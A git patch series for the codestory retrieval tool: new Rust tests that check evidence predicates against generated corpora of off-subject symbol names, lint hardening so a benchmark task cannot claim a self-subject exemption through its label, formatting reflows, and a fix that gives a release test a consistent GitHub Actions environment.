+ ], + }, }, FlowRequirement { id: "search_dispatch", @@ -795,10 +900,13 @@ const SEARCH_EXECUTION_FLOW: &[FlowRequirement] = &[ "search execution unit", ], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::SearchExecutionUnit, - PacketEvidenceRole::CandidateFileConstruction, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_search, + roles: &[ + PacketEvidenceRole::SearchExecutionUnit, + PacketEvidenceRole::CandidateFileConstruction, + ], + }, }, ]; @@ -1495,25 +1603,751 @@ mod tests { witness("parseTimestamp", "src/time/parse.ts", NodeKind::FUNCTION), witness("RowIterator", "src/db/rows.rs", NodeKind::STRUCT), witness("MigrationRunner", "src/db/migrate.rb", NodeKind::CLASS), + // Each of these closed a requirement at exactly this path. The first six are role + // classified, where the *directory* assigned the role: `/views/` and `/app/` mean route + // handling, `store` means persistence, `/flags/` means argument planning. The last four + // sit inside the very flow they were accepted by, which is the case a corpus of + // symbols from elsewhere in the repository can never reach. + witness("Store.delete", "src/store/store.rs", NodeKind::METHOD), + witness( + "serializeSettings", + "src/store/serialize.ts", + NodeKind::FUNCTION, + ), + witness("readManifest", "src/store/manifest.rs", NodeKind::FUNCTION), + witness("renderChart", "src/views/chart.js", NodeKind::FUNCTION), + witness("Cache.write", "app/views/cache.rb", NodeKind::METHOD), + witness( + "FeatureFlags.options", + "src/flags/feature.rs", + NodeKind::METHOD, + ), + witness("handleClick", "src/logging/ui.php", NodeKind::FUNCTION), + witness( + "createUserRecord", + "src/logging/audit.php", + NodeKind::FUNCTION, + ), + witness("use_temp_dir", "src/index/tmp.ts", NodeKind::FUNCTION), + witness("Store.get", "lib/client.dart", NodeKind::METHOD), ] } + /// Shapes of symbol name a repository is full of, none of which is evidence for any step in any + /// flow in the tables. + /// + /// These are families, not examples, and each one is a way a predicate here has been fooled or + /// could be. A **verb-named accessor** meets a carrier that matched the HTTP method set on a + /// symbol's terminal segment, so every `.get`, `.delete` and `.options` in the repository was a + /// client's request method. A **`handle*` callback** meets a carrier that matched "handle" as a + /// prefix of "handler", so every front end's click and scroll handlers were a logging + /// framework's record processing. A **`*Record` builder** meets a carrier that matched the word + /// "record", so every database row constructor was a logger's record creation. A **snake- or + /// kebab-cased `use_*`** meets a carrier that treated `_` and `-` as the front-end hook naming + /// convention. The last family is ordinary vocabulary from subsystems no flow here covers. + /// + /// The property that makes a name a negative, and the bar a new entry has to clear, is that no + /// requirement's *two* factors are both satisfied by it. Sharing one is allowed and is the point: + /// `Cache.write` names a step word the site build reads, `Matrix.post` names one of its subjects, + /// `Store.get` names an HTTP verb — and each must still be rejected, because none of them names + /// both. A name that names both is not a negative; it is evidence. + fn off_subject_symbol_names() -> Vec<(&'static str, NodeKind)> { + let mut names = Vec::new(); + for name in [ + "Store.get", + "Store.delete", + "Cache.put", + "FeatureFlags.options", + "Queue.head", + "Matrix.post", + "Palette.patch", + ] { + names.push((name, NodeKind::METHOD)); + } + for name in [ + "handleClick", + "handleKeypress", + "handleDragStart", + "handleScroll", + "handleResize", + ] { + names.push((name, NodeKind::FUNCTION)); + } + for name in [ + "createUserRecord", + "createDnsRecord", + "addBillingRecord", + "makeInventoryRecord", + ] { + names.push((name, NodeKind::FUNCTION)); + } + for name in ["use_temp_dir", "use-legacy-mode", "use_default_locale"] { + names.push((name, NodeKind::FUNCTION)); + } + for name in [ + "compareVersions", + "parseTimestamp", + "TooltipAnchor", + "ColorPalette", + "computeChecksum", + "encodeBase64", + "serializeSettings", + "readManifest", + "renderChart", + "MigrationRunner", + "RowIterator", + "ProjectSettings", + "adminPanel", + "terminalWidth", + "determineFieldOrder", + "userProfile", + "submitTelemetry", + "Uri.prepare", + "Cache.write", + ] { + names.push((name, NodeKind::FUNCTION)); + } + names + } + + /// Every directory the corpus places an off-subject symbol in. + /// + /// The first half is derived from the witness table, so every flow's *own* folder is covered + /// and stays covered as requirements are added — a symbol sitting beside a flow's real evidence + /// is the case a corpus of symbols from elsewhere in the repository cannot reach, and path + /// tokens are what re-open a scoped predicate. The second half is every path fragment the + /// shared evidence-role classifier will assign a role from on its own, read out of + /// `packet_evidence_roles`: those directories hand out a role to whatever is filed in them. + fn off_subject_directories() -> Vec { + let mut directories = Vec::new(); + let mut push = |directory: String| { + if !directories.contains(&directory) { + directories.push(directory); + } + }; + for ((_, _), witness) in requirement_witnesses() { + let path = witness.file_path.clone().unwrap_or_default(); + push(match path.rfind('/') { + Some(index) => path[..index + 1].to_string(), + None => String::new(), + }); + } + for directory in [ + "src/routes/", + "src/router/", + "src/controllers/", + "src/views/", + "src/pages/", + "app/", + "app/views/", + "src/event/", + "src/events/", + "src/flags/", + "src/protocol/", + "src/networking/", + "src/runtime/", + "src/store/", + "src/indexer/", + "src/workspace/", + "src/interceptors/", + "src/dispatch/", + "src/collections/", + "src/source_group/", + // The same directories a Windows citation arrives with. Two code paths disagree about + // separators — the role classifier normalizes them, the carriers lowercase and replace + // them, and stripping a directory has to split on both — so the corpus carries both. + "app\\views\\", + "src\\store\\", + "src\\runtime\\", + ] { + push(directory.to_string()); + } + directories + } + + /// The extensions the corpus crosses its directories with. + /// + /// Derived from the witness paths, minus the document surfaces. A stylesheet, a markup + /// document, a schema file and a shell script are proved *by the file*: their anchors are + /// selectors, attributes and statements, not identifiers, and "a code identifier inside a + /// `.css` file" is not a citation retrieval can produce. Those requirements are still exercised + /// by this corpus — they have to reject every code path in it. + fn off_subject_code_extensions() -> Vec { + let document_surfaces = [ + ".css", ".scss", ".sass", ".less", ".html", ".htm", ".sql", ".sh", + ]; + let mut extensions = Vec::new(); + for ((_, _), witness) in requirement_witnesses() { + let path = witness.file_path.clone().unwrap_or_default(); + let Some(index) = path.rfind('.') else { + continue; + }; + let extension = path[index..].to_ascii_lowercase(); + if document_surfaces.contains(&extension.as_str()) || extensions.contains(&extension) { + continue; + } + extensions.push(extension); + } + extensions + } + + /// The generated corpus: every off-subject name, in every flow's directory and every + /// role-granting directory, under every code extension, as every kind of behavior owner. + fn generated_off_subject_symbols() -> Vec { + let mut symbols = Vec::new(); + for (name, kind) in off_subject_symbol_names() { + for directory in off_subject_directories() { + for extension in off_subject_code_extensions() { + for owner_kind in [ + kind, + NodeKind::CLASS, + NodeKind::STRUCT, + NodeKind::INTERFACE, + NodeKind::CONSTANT, + ] { + symbols.push(witness( + name, + &format!("{directory}elsewhere{extension}"), + owner_kind, + )); + } + } + } + } + symbols + } + + /// `MapPlanner` is the one reported acceptance the corpus above cannot carry, and the reason is + /// worth stating rather than leaving as a silent omission. + /// + /// It was reported against `indexing_storage`, which took it because the shared classifier reads + /// "plan" as workspace planning; that is closed, and this pins it. But it is *not* off-subject + /// for `mapper_execution`: that requirement asks for an object mapper (`map`) and an execution + /// plan (`plan`), and both words are literally in the name. No predicate that reads names can + /// separate a mapping plan from a route-map planner, so `mapper_execution` still accepts it, + /// wherever it is filed. Putting it in the universal corpus would only be a lie about which + /// property holds. + #[test] + fn the_reported_map_planner_acceptance_is_closed_where_it_was_reported() { + let anchor = witness("MapPlanner", "src/store/planner.rs", NodeKind::STRUCT); + let requirement_named = |id: &str| { + all_flow_requirements() + .into_iter() + .find(|requirement| requirement.id == id) + .unwrap_or_else(|| panic!("{id} should be in the tables")) + }; + + assert!( + !requirement_named("indexing_storage") + .evidence + .citation_proves(&anchor), + "a planner named after maps is not an indexer's storage step" + ); + assert!( + requirement_named("mapper_execution") + .evidence + .citation_proves(&anchor), + "if this stops being true the note above is stale and should be deleted, not updated" + ); + } + + /// The complete set of bare, one-word symbol names that close a requirement, as + /// `requirement | word`. + /// + /// A one-word name carries no second factor: there is no room in it for both "which subsystem + /// is this" and "which step of it". So every entry here is a word that, on its own, anywhere in + /// any repository, under any directory and any language, proves a step — and the list is + /// therefore the exact surface on which an unrelated symbol can still be mistaken for evidence. + /// + /// Each of these words *is* the requirement's subject: a class named `Buffer` is the buffer, a + /// function named `main` is the entrypoint, a method named `request` is the client's request + /// method. That is the intended reading of a name-driven predicate. What must not happen is the + /// list growing quietly: an entry appearing here means some carrier's two factors collapsed + /// into one word, which is how `renderChart` proved a site renderer and every `.get` in the + /// repository proved a client's convenience method. + const ONE_WORD_EVIDENCE_SURFACE: &[&str] = &[ + "buffered_storage | buffer", + "buffered_storage | segment", + "client_interface_helpers | request", + "client_transport_send | adapter", + "command_dispatch | dispatch", + "command_dispatch | dispatcher", + "command_server_bootstrap | main", + "form_custom_validation | validate", + "form_custom_validation | validates", + "form_custom_validation | validation", + "form_custom_validation | validity", + "form_submit_guard | preventdefault", + "hook_mutation_flow | mutat", + "hook_mutation_flow | mutate", + "hook_mutation_flow | mutation", + "indexing_storage | indexer", + "indexing_storage | indexers", + "indexing_storage | snapshot", + "indexing_storage | snapshots", + "indexing_storage | symbol", + "indexing_storage | symbols", + "request_dispatch | dispatch", + "request_dispatch | dispatcher", + "request_entrypoint | asgi", + "request_entrypoint | route", + "request_entrypoint | router", + "request_entrypoint | routers", + "request_entrypoint | routes", + "request_entrypoint | servlet", + "request_entrypoint | wsgi", + "request_terminal | adapter", + "search_entrypoint | main", + ]; + + /// Every word any predicate in this crate reads, so the sweep below covers the whole vocabulary + /// the tables are written in rather than a sample of it. Held to the carriers' own source by + /// `the_one_word_sweep_covers_every_word_the_carriers_match_on`, so it cannot fall behind them. + fn evidence_vocabulary() -> Vec<&'static str> { + vec![ + "request", + "requests", + "route", + "routes", + "router", + "routing", + "controller", + "handler", + "handlers", + "endpoint", + "server", + "middleware", + "http", + "protocol", + "dispatch", + "dispatcher", + "wsgi", + "asgi", + "rack", + "servlet", + "gateway", + "client", + "clients", + "instance", + "factory", + "session", + "transport", + "adapter", + "adapters", + "send", + "fetch", + "url", + "connection", + "response", + "socket", + "stream", + "writer", + "sink", + "buffer", + "sender", + "task", + "delegate", + "index", + "indexer", + "indexing", + "symbol", + "symbols", + "snapshot", + "workspace", + "candidate", + "catalog", + "ingest", + "crawl", + "serve", + "daemon", + "bootstrap", + "startup", + "init", + "main", + "listen", + "listener", + "event", + "events", + "loop", + "poll", + "select", + "epoll", + "reactor", + "tick", + "network", + "networking", + "query", + "wire", + "command", + "commands", + "table", + "exec", + "execute", + "search", + "searcher", + "grep", + "match", + "matcher", + "args", + "argv", + "arg", + "worker", + "printer", + "log", + "logger", + "logging", + "record", + "records", + "site", + "page", + "post", + "layout", + "template", + "document", + "collection", + "static", + "theme", + "asset", + "renderer", + "generator", + "build", + "builder", + "pipeline", + "process", + "run", + "start", + "generate", + "render", + "write", + "read", + "output", + "emit", + "map", + "mapper", + "mapping", + "typemap", + "plan", + "execution", + "config", + "profile", + "option", + "options", + "format", + "formatter", + "fmt", + "vformat", + "error", + "throw", + "fail", + "assert", + "fallback", + "panic", + "cache", + "caches", + "helper", + "key", + "keys", + "serialize", + "mutate", + "mutation", + "form", + "validate", + "validity", + "guard", + "submit", + "required", + "pattern", + "min", + "max", + "install", + "setup", + "download", + "completion", + "prepare", + "finalize", + "materialize", + "interceptor", + "storage", + "persist", + "manifest", + "get", + "put", + "patch", + "delete", + "head", + "https", + "transports", + "sends", + "finaliz", + "finalis", + "prepar", + "to", + "body", + "responses", + "bytes", + "settle", + "settled", + "transform", + "materiali", + "use", + "serializ", + "serialis", + "hash", + "stable", + "stringify", + "helpers", + "provider", + "context", + "state", + "store", + "make", + "creat", + "mutat", + "app", + "root", + "shell", + "module", + "script", + "mount", + "import", + "forward", + "keyframes", + "animation", + "animated", + "transition", + "duration", + "delay", + "iteration", + "fillmode", + "forms", + "fieldset", + "validation", + "validations", + "validates", + "invalid", + "constraint", + "constraints", + "guards", + "preventdefault", + "minlength", + "maxlength", + "inputtype", + "inputmode", + "validator", + "customvalid", + "checkvalid", + "reportvalid", + "submits", + "submitt", + "source", + "case", + "compgen", + "complete", + "alias", + "segment", + "reads", + "writes", + "emits", + "flush", + "skip", + "copy", + "copyto", + "readfrom", + "writeto", + "logs", + "loggers", + "handle", + "add", + "create", + "push", + "pop", + "remove", + "set", + "register", + "batch", + "interface", + "sites", + "pages", + "posts", + "layouts", + "templates", + "documents", + "collections", + "themes", + "assets", + "file", + "files", + "html", + "phases", + "writ", + "outputs", + "renders", + "maps", + "mappers", + "mappings", + "execut", + "formats", + "formatters", + "formatting", + "printf", + "sprintf", + "fprintf", + "arguments", + "value", + "values", + "err", + "indexes", + "indexed", + "indexers", + "snapshots", + "workspaces", + "candidates", + "catalogs", + "routers", + "controllers", + "endpoints", + "servers", + "cgi", + "fastcgi", + "instances", + "factories", + "sessions", + "urls", + "connections", + "sockets", + "streams", + "tasks", + "delegates", + "loops", + "polling", + "kqueue", + "queries", + "searches", + "matchers", + ] + } + + /// The sweep is only as wide as the vocabulary it sweeps, so the vocabulary is checked against + /// the carriers' own source instead of being maintained beside them by hand. + /// + /// Every bare lowercase word a carrier matches on is a word that can move a predicate on its + /// own. A word present there and absent here is a blind spot in the sweep — and it would sit + /// exactly where the next widening lands, because a widening *is* a word being added to a + /// carrier. + #[test] + fn the_one_word_sweep_covers_every_word_the_carriers_match_on() { + let vocabulary = evidence_vocabulary(); + let mut missing: Vec = Vec::new(); + for line in include_str!("packet_evidence_carriers.rs").lines() { + let code = line.trim_start(); + if code.starts_with("#[cfg(test)]") { + // Below here are the carriers' own fixtures, whose literals are anchors rather + // than needles. + break; + } + if code.starts_with("//") { + continue; + } + for (index, literal) in code.split('"').enumerate() { + if index % 2 == 0 + || literal.len() < 2 + || !literal + .chars() + .all(|character| character.is_ascii_lowercase()) + || vocabulary.contains(&literal) + || missing.iter().any(|word| word == literal) + { + continue; + } + missing.push(literal.to_string()); + } + } + assert!( + missing.is_empty(), + "these words move a carrier but are never swept as a one-word symbol name, so the \ + recorded surface below cannot see what they admit: {missing:?}" + ); + } + + #[test] + fn one_word_names_close_only_the_requirements_they_are_the_subject_of() { + let requirements = all_flow_requirements(); + let directories = off_subject_directories(); + let mut live: Vec = Vec::new(); + for word in evidence_vocabulary() { + for directory in &directories { + // Every directory, because a directory handing out a role is what this sweep looks + // for. Two languages and three kinds, because nothing else is reachable: `.ts` + // stands for every script surface and `.rs` for every non-script one, and `STRUCT` + // is treated identically to `CLASS` by every predicate in the crate. The whole + // language set and the non-behavior kinds are crossed against the corpus above. + for extension in [".rs", ".ts"] { + for kind in [NodeKind::FUNCTION, NodeKind::METHOD, NodeKind::CLASS] { + let citation = witness(word, &format!("{directory}one{extension}"), kind); + for requirement in &requirements { + if !requirement.evidence.citation_proves(&citation) { + continue; + } + let entry = format!("{} | {word}", requirement.id); + if !live.contains(&entry) { + live.push(entry); + } + } + } + } + } + } + live.sort(); + + let mut recorded = ONE_WORD_EVIDENCE_SURFACE + .iter() + .map(|entry| (*entry).to_string()) + .collect::>(); + recorded.sort(); + + let added = live + .iter() + .filter(|entry| !recorded.contains(entry)) + .collect::>(); + assert!( + added.is_empty(), + "a bare one-word symbol name now closes a requirement it did not before; a name with \ + no second word cannot say both which subsystem it is in and which step it is, so this \ + is a predicate whose two factors collapsed into one: {added:?}" + ); + let removed = recorded + .iter() + .filter(|entry| !live.contains(entry)) + .collect::>(); + assert!( + removed.is_empty(), + "these one-word names no longer close their requirement; if that is intended, take \ + them out of the recorded surface in the diff a reviewer reads: {removed:?}" + ); + } + + /// No requirement — role-classified or carrier-backed — may be closed by a symbol that has + /// nothing to do with it. + /// + /// Both halves of the tables are held to this. The earlier version of this invariant skipped + /// every `CitedRoles` requirement on the grounds that the role classifier is coarse by design, + /// which left exactly half the tables untested; running this corpus against them turned up + /// acceptances in nine of them, all from the same cause. A role is not scoped to a flow, and + /// much of the classifier reads the path, so `renderChart` under `src/views/` was a server's + /// request entrypoint, `Store.delete` was an indexer's persistence step, and every symbol under + /// `runtime/` was a runtime orchestration entrypoint for three different flows at once. #[test] fn no_requirement_is_closed_by_an_unrelated_repository_symbol() { let mut checked = 0; + let corpus = unrelated_repository_symbols() + .into_iter() + .chain(generated_off_subject_symbols()) + .collect::>(); for requirement in all_flow_requirements() { - // `CitedRoles` requirements delegate to the evidence-role classifier, which is coarse - // on purpose: it answers "is this source evidence at all", not "does this prove my - // step". The carriers are the per-requirement checks and the only predicates that - // claim to separate one requirement from everything else, so they are what this - // corpus holds to account. - if !matches!(requirement.evidence, EvidencePredicate::CitedCarrier(_)) { - continue; - } - for symbol in unrelated_repository_symbols() { + for symbol in &corpus { checked += 1; assert!( - !requirement.evidence.citation_proves(&symbol), + !requirement.evidence.citation_proves(symbol), "requirement {} is closed by `{}` at `{}`, which has nothing to do with it: a \ predicate that accepts arbitrary repository symbols reports sufficient on \ packets that proved nothing", @@ -1524,11 +2358,38 @@ mod tests { } } assert!( - checked >= 300, + checked >= 4_000_000, "the negative corpus must actually be exercised against the tables (checked {checked})" ); } + /// The generated corpus has to keep covering the whole space as the tables change: a flow added + /// without its directory reaching the corpus is a flow this invariant cannot see into. + #[test] + fn the_generated_corpus_covers_every_flows_own_directory() { + let directories = off_subject_directories(); + for ((requirement_id, _), witness) in requirement_witnesses() { + let path = witness.file_path.clone().unwrap_or_default(); + let directory = match path.rfind('/') { + Some(index) => path[..index + 1].to_string(), + None => String::new(), + }; + assert!( + directories.contains(&directory), + "the corpus never places an off-subject symbol beside {requirement_id}'s own \ + evidence in `{directory}`" + ); + } + assert!( + off_subject_code_extensions().len() >= 8, + "the corpus must cross its directories with the languages the witnesses use" + ); + assert!( + generated_off_subject_symbols().len() >= 2_000, + "the generated corpus collapsed; it is meant to be a cross product, not a list" + ); + } + /// Stronger than the same-role test above: inside one flow, *no* requirement may be closed by /// another requirement's evidence, whatever roles the two wear. Roles were never the thing that /// separated requirements; their evidence is. @@ -1551,13 +2412,6 @@ mod tests { if left.id == right.id { continue; } - // Role-classified predicates are deliberately coarse; the carriers are the - // per-requirement checks, so they are what this invariant holds to account. - if !matches!(left.evidence, EvidencePredicate::CitedCarrier(_)) - || !matches!(right.evidence, EvidencePredicate::CitedCarrier(_)) - { - continue; - } checked_pairs += 1; let left_witness = witness_for(left); let right_witness = witness_for(right); @@ -1579,7 +2433,7 @@ mod tests { } } assert!( - checked_pairs >= 15, + checked_pairs >= 40, "this invariant must actually be exercising carrier-backed requirement pairs (checked \ {checked_pairs})" ); From 1d106010df2e2abb59dad38fd61f05b46958ef31 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 16:53:51 -0500 Subject: [PATCH 060/132] reflow the store import list rustfmt wanted `cargo fmt --all` cannot run from a worktree here -- the vendored tree-sitter-graph package resolves its workspace to the main checkout -- so a per-crate format run missed codestory-store and the draft gate caught it. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/tests.rs | 15 +++++++-------- crates/codestory-store/src/lib.rs | 18 +++++++++--------- 2 files changed, 16 insertions(+), 17 deletions(-) diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index d46570d86..c195b00c4 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -18,14 +18,13 @@ use super::{ SearchRepoTextMode, SearchRequest, SearchSymbolProjection, SemanticDocAliasMode, SemanticDocGraphContext, SemanticDocScope, SemanticModeDto, SourceIndexPolicy, SourcePolicyExclusionPolicyIdentity, Storage, Store, SymbolSearchDoc, TrailConfigDto, - WorkspaceManifest, apply_hybrid_limits, - arm_full_refresh_staged_store_hook, arm_incremental_staged_store_hook, - arm_publication_test_fault, arm_semantic_projection_before_revalidate_hook, - arm_source_policy_after_plan_hook, arm_source_policy_before_revalidate_hook, - build_component_report_docs, build_llm_symbol_doc_text, - build_persisted_search_state_from_canonical_symbols, build_search_state, - build_semantic_file_text_cache_with_limits, clamp_usize_to_u32, compare_search_hits, - current_epoch_ms, dense_anchor_is_central, dense_anchor_reason_for_node, + WorkspaceManifest, apply_hybrid_limits, arm_full_refresh_staged_store_hook, + arm_incremental_staged_store_hook, arm_publication_test_fault, + arm_semantic_projection_before_revalidate_hook, arm_source_policy_after_plan_hook, + arm_source_policy_before_revalidate_hook, build_component_report_docs, + build_llm_symbol_doc_text, build_persisted_search_state_from_canonical_symbols, + build_search_state, build_semantic_file_text_cache_with_limits, clamp_usize_to_u32, + compare_search_hits, current_epoch_ms, dense_anchor_is_central, dense_anchor_reason_for_node, extract_symbol_search_terms, file_text_match_line, finalize_staged_semantic_docs, flush_pending_dense_anchor_inputs, graph_edge_dto, index_freshness_from_storage, llm_doc_embed_batch_size, llm_indexable_kind, llm_indexable_kind_for_scope, diff --git a/crates/codestory-store/src/lib.rs b/crates/codestory-store/src/lib.rs index 4c181a717..aa78f5817 100644 --- a/crates/codestory-store/src/lib.rs +++ b/crates/codestory-store/src/lib.rs @@ -24,15 +24,15 @@ pub use storage_impl::{ DENSE_ANCHOR_PUBLICATION_SCHEMA_VERSION, DatabaseSnapshotCopyStats, DenseAnchorInput, DenseAnchorInputReuseMetadata, DenseAnchorInputStats, DenseAnchorPublicationManifest, DenseReasonCounts, FileContentHash, FileInfo, FileProjectionRemovalSummary, FileRole, - GroundingCallDegree, - GroundingEdgeKindCount, GroundingFileSummary, GroundingNodeRecord, GroundingSnapshotMetadata, - GroundingSnapshotState, IndexArtifactCacheReader, IndexArtifactCacheWrite, - IndexPublicationMode, IndexPublicationRecord, LlmSymbolDoc, LlmSymbolDocReuseMetadata, - LlmSymbolDocStats, ProjectionFlushBreakdown, ProjectionPersistenceFamilyStats, - ProjectionPersistenceStats, RetrievalIndexManifest, RetrievalIndexRollbackRecord, - SOURCE_POLICY_EXCLUSION_PUBLICATION_SCHEMA_VERSION, STRUCTURAL_TEXT_UNIT_DESCRIPTOR_VERSION, - STRUCTURAL_TEXT_UNIT_MIGRATION_STATE_NATIVE, STRUCTURAL_TEXT_UNIT_PUBLICATION_SCHEMA_VERSION, - SearchSymbolProjection, SearchSymbolProjectionDetail, SourcePolicyExclusionManifest, + GroundingCallDegree, GroundingEdgeKindCount, GroundingFileSummary, GroundingNodeRecord, + GroundingSnapshotMetadata, GroundingSnapshotState, IndexArtifactCacheReader, + IndexArtifactCacheWrite, IndexPublicationMode, IndexPublicationRecord, LlmSymbolDoc, + LlmSymbolDocReuseMetadata, LlmSymbolDocStats, ProjectionFlushBreakdown, + ProjectionPersistenceFamilyStats, ProjectionPersistenceStats, RetrievalIndexManifest, + RetrievalIndexRollbackRecord, SOURCE_POLICY_EXCLUSION_PUBLICATION_SCHEMA_VERSION, + STRUCTURAL_TEXT_UNIT_DESCRIPTOR_VERSION, STRUCTURAL_TEXT_UNIT_MIGRATION_STATE_NATIVE, + STRUCTURAL_TEXT_UNIT_PUBLICATION_SCHEMA_VERSION, SearchSymbolProjection, + SearchSymbolProjectionDetail, SourcePolicyExclusionManifest, SourcePolicyExclusionPolicyIdentity, SourcePolicyExclusionRecord, Storage as Store, StorageError, StorageOpenMode, StorageStats, StructuralTextArtifactCacheWrite, StructuralTextProjection, StructuralTextPublicationCompatibility, StructuralTextUnit, From 4d3c7534baa69526b0579e641f48ec1bc0587850 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 16:54:57 -0500 Subject: [PATCH 061/132] pin the digit-then-lowercase word break too The lint already reads `rank2swr` as a broken word, but the shape was not in `identifier_word_shapes`, so nothing failed if that stopped being true. Every other break on this lane was lost exactly that way before it was enumerated. Co-Authored-By: Claude Opus 5 --- .../tests/retrieval_generalization_guard.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index e0413f05e..1d88dcd26 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -1478,6 +1478,11 @@ fn identifier_word_shapes(token: &str) -> Vec<(&'static str, String)> { // Digit glue: the other invisible break. ("digit_suffix", format!("{lower}2")), ("digit_prefix", format!("rank2{capital}")), + // A digit followed by a *lowercase* token is the same break as + // `rank2Swr`, and the lint already reads it -- but until it is + // enumerated here nothing fails if that stops being true, so the + // shape could be lost in silence the way the earlier ones were. + ("digit_then_lower", format!("rank2{lower}")), ] } From 4a2eed383361181ff7cdd79c6245eac97a360677 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 17:01:13 -0500 Subject: [PATCH 062/132] take the self-subject exemption from the url, not the label Closes #1580. `repo.name` is free text a task author writes, and the exemption's whole effect is that a task contributes no banned markers -- so honouring the label let any holdout switch the lint off for its own corpus while pointing anywhere, and a diff of this script would show nothing. Both real self-tasks carry the URL, so nothing legitimate depended on it. Residual, written into the test rather than left implicit: a repository genuinely named `codestory` under another owner still claims the exemption, because `productRepositoryNames` derives from crate-name prefixes and carries no owner to compare against. Co-Authored-By: Claude Opus 5 --- .../tests/retrieval_generalization_guard.rs | 30 +++++++++++++++++++ scripts/lint-retrieval-generalization.mjs | 10 +++++-- 2 files changed, 38 insertions(+), 2 deletions(-) diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 1d88dcd26..0a1e929e4 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -1013,6 +1013,36 @@ fn a_holdout_named_after_one_of_our_crates_is_not_mistaken_for_this_repository() } } +#[test] +fn a_holdout_cannot_claim_the_exemption_by_calling_itself_this_repository() { + // #1580. `repo.name` is free text a task author writes, and the exemption's + // whole effect is that the task contributes no banned markers -- so if the + // name were honoured, a holdout could switch the lint off for its own + // corpus while pointing anywhere, and a diff of the lint script would show + // nothing. Only the URL is evidence of subject. + // Residual, deliberately not asserted: a repository genuinely *named* + // `codestory` under another owner would still claim the exemption, because + // `productRepositoryNames` is derived from crate-name prefixes and carries + // no owner to compare. Closing that needs an owner pin, which is a + // different decision; the label-only impostor below needs none. + for url in [ + "https://github.com/axios/axios.git", + "https://github.com/BurntSushi/ripgrep.git", + ] { + let derived = derived_patterns_with_extra_task(&self_subject_probe_manifest( + "codestory", + url, + "probeGadgetHandler", + )); + assert!( + derived + .iter() + .any(|pattern| pattern.contains("probeGadgetHandler")), + "a holdout at {url} calling itself `codestory` must still ban its own symbols" + ); + } +} + #[test] fn this_repositorys_own_name_still_claims_the_self_subject_exemption() { let derived = derived_patterns_with_extra_task(&self_subject_probe_manifest( diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index 19e357bef..af835456b 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -891,9 +891,15 @@ function benchmarkTaskFamily(task, filePath) { : path.relative(repoRoot, filePath).replaceAll(path.sep, "/"); } +// Only the URL decides this. `repo.name` is a free-text label a task author +// writes, so honouring it lets any holdout claim the self-subject exemption -- +// and the exemption's whole effect is that the task contributes no banned +// markers, so a manifest that names itself `codestory` while pointing at +// somebody else's repository would switch the lint off for its own corpus, +// invisibly in a diff of this file. The real self-tasks lose nothing: their +// URLs already yield the repository segment. function benchmarkRepoIsProduct(repo) { - return [repo?.name, ...repoUrlSlugs(repo?.url)] - .filter((value) => typeof value === "string") + return repoUrlSlugs(repo?.url) .some((value) => productRepositoryNames.has(value.split("/").pop().toLowerCase())); } From 47591de8ad56158ffa9591a89d4944d5b9148407 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 18:12:35 -0500 Subject: [PATCH 063/132] authenticate the spawned producer against its own arguments Closes #1584. The case inherited the runner's GITHUB_* context, and the CLI only enforces that context when GITHUB_ACTIONS is "true" -- so it passed locally, where the guard is inert, and failed in Actions, where GITHUB_RUN_ID is the real run rather than the 12345 the case passes. This file runs only in release.yml's workflow-policy job, so no pull request ever executed it; the first run that did lost every downstream job 22 seconds in. Co-Authored-By: Claude Opus 5 --- .../codestory-release-cell-manifest.test.mjs | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/scripts/tests/codestory-release-cell-manifest.test.mjs b/scripts/tests/codestory-release-cell-manifest.test.mjs index 8f1d3c701..61956bba5 100644 --- a/scripts/tests/codestory-release-cell-manifest.test.mjs +++ b/scripts/tests/codestory-release-cell-manifest.test.mjs @@ -25,6 +25,23 @@ const gitIdentity = { const version = "0.16.0"; const observedAt = "2026-07-19T12:00:00.000Z"; +/// The CLI authenticates a requested producer against the ambient `GITHUB_*` context whenever +/// `GITHUB_ACTIONS` is "true", so a spawned case must carry an environment that agrees with the +/// arguments it passes. Inheriting the runner's own context instead makes the case pass locally +/// (where the guard is inert) and fail in Actions (where `GITHUB_RUN_ID` is the real run) -- which +/// is exactly how this reached the release lane, the only lane that runs this file. +function producerEnv(overrides) { + return { + ...process.env, + GITHUB_ACTIONS: "true", + GITHUB_REPOSITORY: gitIdentity.repository, + GITHUB_SHA: execFileSync("git", ["rev-parse", "HEAD"], { cwd: root, encoding: "utf8" }).trim(), + GITHUB_RUN_ATTEMPT: String(nonClaimPolicy.maximum_run_attempts), + GITHUB_JOB: nonClaimPolicy.producer_job, + ...overrides, + }; +} + function cell(id) { return deriveReleaseCells(graph, "post_publish").find(({ id: candidate }) => candidate === id); } @@ -631,7 +648,7 @@ test("withhold writes one container per closeout phase, never a phase-mixed one" "--identity", identityPath, "--archive", archive, "--out-dir", outDir, - ], { encoding: "utf8" }); + ], { encoding: "utf8", env: producerEnv({ GITHUB_RUN_ID: "12345" }) }); assert.equal(result.status, 0, result.stderr); const expected = { From 3ceee88841f74ec8030850e815b80834d7d3cb0a Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 